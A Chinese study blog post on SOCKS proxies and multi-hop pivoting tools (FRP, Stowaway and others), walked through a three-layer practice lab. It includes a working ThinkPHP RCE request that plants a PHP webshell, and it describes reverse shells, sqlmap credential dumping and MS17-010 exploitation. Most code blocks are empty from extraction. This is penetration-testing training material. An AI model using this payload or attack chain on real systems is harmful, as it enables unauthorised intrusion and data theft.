Socks代理
socks简介
SOCKS是一种网络传输协议,主要用于客户端与外网服务器之间通讯的中间传递。 根据OSI模型,SOCKS是会话层的协议,位于表示层与传输层之间。 使用TCP协议传输数据,因而不提供如传递 ICMP 信息之类的网络层网关服务
由于socks是会话层的代理,不提供ICMP的代理,所以ping 是代理不了的
socks代理
- 被代理端与代理服务器通过 SOCKS4/5 代理协议进行通讯;
- SOCKS4:是对HTTP代理协议的加强,它不仅代理HTTP协议,而是对所有向外的连接进行代理,没有 协议限制;
- SOCKS4a:SOCKS4协议的简单扩展,允许客户端对无法解析域名的目的主机进行访问
- SOCKS5:SOCKS5比SOCKS4a多了身份验证、IPv6、UDP支持。创建与SOCKS5服务器的TCP连接后 客户端需要先发送请求来确认协议版本及认证方式
使用socks代理
- SOCKS服务器的IP地址
- SOCKS服务所在端口
- SOCKS服务是否需要身份验证
相关工具
EarthWorm
EW 是一套便携式的网络穿透工具,具有 SOCKS v5 服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。
这个图就是渗透测试的路径,我们的目的就是需要达到受限区域
FRP
FRP 是一个可用于内网穿透的高性能的反向代理应用
ProxyChains
这个工具也是在渗透中比较常用的
Proxifier
Proxifier 是一个程序,它允许不支持通过代理服务器工作的网络应用程序通过 SOCKS 或 HTTPS代理或代理服务器链进行操作。
Stowaway
用户可使用此程序将外部流量通过多个节点代理至内网,突破内网访问限制,构造树状节点网络,并 轻松实现管理功能
一个三层内网的渗透过程
信息收集
由于教学我们知道了他的ip
192.168.79.140
然后尝试扫描端口
发现80端口,尝试目录扫描
一个一个访问
一个宝塔的欢迎页面
发现thinkphp
Web渗透
thinkphp rce
搜索相关漏洞
thinkphp 5-rce版本漏洞复现(超详细版)_thinkphp 漏洞扫描-CSDN博客
发现rce漏洞
写入webshell
写入经过url编码的一句话木马
/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e
连接
上线msf
首先看一下是什么平台
生成payload
上传到linux
获取session
搭建代理
进入session
1 |
|
开启代理
1 |
|
成功代理
由于会产生大量的连接,所以会出现session掉线的情况,需要重新上线
尝试存活主机探测
不给我探测,烦人捏
bash反弹一个shell
上传fscan 进行存活主机探测
还发现了ssh 弱密码
假装没发现,这个应该是用于靶场建设的
发现了存活主机
但是先测试代理
测试代理
好好好,sql注入是吧,先放一下
发现192.168.22.22开放了80端口,对其进行扫描
发现一个
尝试Sql注入
直接使用sqlmap
使用钱前面提到的
隧道炸了转手注
得到了
账号:
admin 123qwe
然后通过收集到的信息,进行模板注入,写入sehll,上传正向payload
然后等待连接,连接过来了
msf 代理总结
尝试从头开始
三层cfs - AU9U5T (tsy244.github.io)
frp
介绍
frp/README_zh.md at dev · fatedier/frp (github.com)
socks代理
socks5代理在frp 里面使用。需要设置plugin 插件为socks5
下面是使用过程,还是使用昨天的三层cfs
server
server这个部分我们只需要设置端口就可以了
添加执行权限,使用-c
指定执行文件
client
先通过,得到的web shell上传文件
为了方便起见,还是上传已经编辑好了的配置文件
1 |
|
执行
上传之后就来了
然后修改proxychains
优点
- 快很多,稳定很多
尝试使用frp 代理
使用Sqlmap
1 |
|
-p 指定爆破参数
注意:
- 指定爆破的参数不能为空
发现漏洞,进行爆破数据库
添加参数--dbs
1 |
|
使用-D
指定数据库,经行爆破表--tables
1 |
|
使用-T
指定表名,使用--columns
爆破字段名
1 |
|
使用-C
进行指定字段名 --dump
进行获取字段的值
1 |
|
得到hash和密码123qwe
192.168.22.22
回顾一下,这个有一个80端口服务,然后在frp代理之下尝试扫描目录
通过搜素获取
路径
1 |
|
使用
admin 123qwe
通过搜素,得到有一个模板注入的地方
通过修改php文件内容(添加一句话木马)
进行访问,使用之前的index.php?
添加参数的形式
使用蚁剑连接,但是直接连接是连接不上的,我们必须使用代理的方式
重新开启一个antsword
上传一个msf正向Shell
生成一个paylaod
1 |
|
…….尝试失败,msf好像在代理方面确认不是很擅长
现在有三个方法
msf autoroute
这个方法稳定性极差
frp
我们已经连接上了这台主机,我们给192.168.22.11(还有nat网卡 target1)做一个端口转发
也就是说target 针对于kali是client,针对于192.168.22.22是server
先把之前的停了,然后给target1配置端口转发
kali
server不需要修改
1 |
|
target1
server
1 |
|
client
1 |
|
taget2
client
1 |
|
由于taget2需要代理,所以先开启target的client
target1 开启Server
测试
修改文件
测试通过(这个是测试,所以直接使用吗,账户和密码)
192.168.33.33
通过信息收集发现开放了445
那就使用msf ms17_010 进行测试,由于代理很容易断掉,解决这个问题有两个办法
- 抓紧时机
- 掉了重连
下面是使用
1 |
|
设置代理
1 |
|
查看高级设置
1 |
|
获取sessions
这个三层cfs就算利用完了
Stowaway
这个多级代理更加合适
ph4ntonn/Stowaway: 👻Stowaway – Multi-hop Proxy Tool for pentesters (github.com)
Stowaway是一个利用go语言编写、专为渗透测试工作者制作的多级代理工具
用户可使用此程序将外部流量通过多个节点代理至内网,突破内网访问限制,构造树状节点网络,并轻松实现管理功能
使用方法
admin
admin 用法
1 |
|
admin参数
1 |
|
admin 主 panel 选项:
就是进入节点之后的选项
1 |
|
admin node panel 选项:
1 |
|
agent
agent 参数
1 |
|
使用实例
server 也就是我现在的攻击机
1 |
|
-l 监听,也就是等待被连接,有点像反向shell
上传agent到target1(要被这三兄弟恶心吐了….)
target1
1 |
|
admin节点发生变化
查看所有的节点
1 |
|
然后再连着代理的情况下将agent 上传到target2
对于tartget2 -> target1
有两种方法
- target1 监听 target2 主动连接
- target2 监听 target1 主动连接
方法一:
对于已经连接agent的操作,必须在admin上操作
来了
方法二
这里有两个target2是因为链接了两次
开启node2的代理
测试
嗯….这个稳定很多很多
总结
课程总结
简单的把socks代理学了,还有很长的路要走
Socks代理感觉更加推荐stowaway,但是也有专门针对渗透测试的frp
反向payload 会绕过防火墙
但是正向payload 必须把防火墙关闭